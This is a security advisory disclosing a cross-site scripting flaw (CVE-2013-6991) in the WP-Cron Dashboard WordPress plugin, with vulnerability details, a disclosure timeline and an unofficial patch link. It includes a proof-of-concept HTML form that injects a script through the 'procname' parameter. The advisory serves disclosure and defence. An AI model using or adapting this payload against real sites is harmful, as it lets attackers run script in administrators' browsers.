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Cross-Site Scripting (XSS) in WP-Cron Dashboard Wordpress plugin
From: High-Tech Bridge Security Research <advisory () htbridge com>
Date: Thu, 26 Dec 2013 12:09:03 +0100 (CET)

Advisory ID: HTB23189
Product: WP-Cron Dashboard Wordpress plugin
Vendor: OKAMOTO Wataru 
Vulnerable Version(s): 1.1.5 and probably prior
Tested Version: 1.1.5
Advisory Publication:  December 5, 2013  [without technical details]
Vendor Notification: December 5, 2013 
Public Disclosure: December 26, 2013 
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-6991
Risk Level: Low 
CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status: Solution Available
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in WP-Cron Dashboard Wordpress plugin, which can be 
exploited to perform Cross-Site Scripting (XSS) attacks.


1) Cross-Site Scripting (XSS) in WP-Cron Dashboard Wordpress plugin: CVE-2013-6991

The vulnerability exists due to insufficient sanitisation of user-supplied data in "procname" HTTP POST parameter 
passed to "/wp-admin/tools.php" script. A remote attacker can trick a logged-in administrator to open a specially 
crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display "immuniweb" word:

<form action="http://[host]/wp-admin/tools.php?page=wp-cron-dashboard"; method="post" name="main">
<input type="hidden" name="procname"  value='<script>alert("immuniweb");</script>'>
<input type="hidden" name="submit"  value='1'>
<input type="submit" id="btn">
</form>


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Solution:

Vendor did not reply to 3 notifications by email, 3 notifications via contact form, 1 notification via twitter, 1 forum 
thread. Currently we are not aware of any official solution for this vulnerability.

Unofficial patch was developed by High-Tech Bridge Security Research Lab and is available here: 
https://www.htbridge.com/advisory/HTB23189-patch.zip


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References:

[1] High-Tech Bridge Advisory HTB23189 - https://www.htbridge.com/advisory/HTB23189 - Cross-Site Scripting (XSS) in 
WP-Cron Dashboard Wordpress plugin.
[2] WP-Cron Dashboard Wordpress plugin - http://wordpress.org/plugins/wp-cron-dashboard/ - WP-Cron Dashboard Display 
for WordPress.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public 
use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE 
is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security 
assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details 
of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.


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